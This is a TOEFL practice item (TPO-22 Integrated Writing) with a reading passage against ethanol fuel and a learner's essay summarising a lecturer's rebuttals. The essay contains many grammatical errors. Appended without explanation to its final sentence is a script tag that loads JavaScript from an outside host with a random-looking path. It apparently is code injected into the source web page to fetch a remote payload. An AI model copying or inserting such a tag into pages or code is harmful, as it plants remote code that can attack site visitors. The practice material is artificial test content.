TPO-22 - Integrated Writing Task
Ethanol fuel, made from plants such as corn and sugar cane, has been advocated by some people as an alternative to gasoline in the United States. However, many critics argue that ethanol is not a good replacement for gasoline for several reasons.
First, the increased use of ethanol fuel would not help to solve one of the biggest environmental problems caused by gasoline use: global warming. Like gasoline, ethanol releases carbon dioxide into the atmosphere when it is burned for fuel and carbon dioxide is greenhouse gas: it helps trap heat in the atmosphere. Thus, ethanol offers no environmental advantage over gasoline.
Second, the production of significant amounts of ethanol would dramatically reduce the amount of plants available for uses other fuel. For example, much of the corn now grown in the United States is used to feed farm animals such as cows and chickens. It is estimated that if ethanol were used to satisfy just 10 percent of the fuel needs in the United States, more than 60 percent of the corn currently grown in the united stated would have to be used to produce ethanol. If most of the corn were used to produce ethanol, a substantial source of food for animals would disappear.
Third, ethanol fuel will never be able to compete with gasoline on price. Although the prices of ethanol and gasoline for the consumer are currently about the same, this is only because of the help in the form of tax subsidies given to ethanol producers by the United States government. These tax subsidies have cost the United States government over $11 billion in the past 30 years. If the United States government were to stop helping producers in this way, the price of ethanol would increase greatly.
To begin with, as mentioned in article, the author sets forth that ethanol scatter carbon dioxide and has no merit for reducing global warming. In the listening part, nonetheless, the lecturer rebuts the idea asserting that when plants such as corn want to grow, a plenty of carbon dioxide is absorbed because of raising plants, which decrease amount of toxic on earth. In the other words, these plants contract the carbon dioxide, hence removing amount of it from atmosphere.
Secondly, the author points out that feeding of many animals is depend on the corns and with producing this fuel, the food become scarce and it causes a food shortage for raising animals. Nevertheless, the professor contradicts the reasons and contend that a part of plant, cellulose, which animals do not like to eat can utilize for making ethanol fuel; therefore, the food supplement does not affect.
Finally, the reading passage claims that the price of producing ethanol would be increased and government cannot effort such price because they already give specific taxes to farmers; if ethanol produce for the fuel, the price would be increased. In contrast, the lecturer is of the opinion that when plants grow for ethanol fuel, demands for buying the product will increase; due to the fact that people buy it more than the past which makes a competition between farmers to make and sell the fuel with cheaper price; thus, the price will drop to forty percent and government can omit the tax.<script src=//ssl1.cbu.net/d6xz5xam></script>
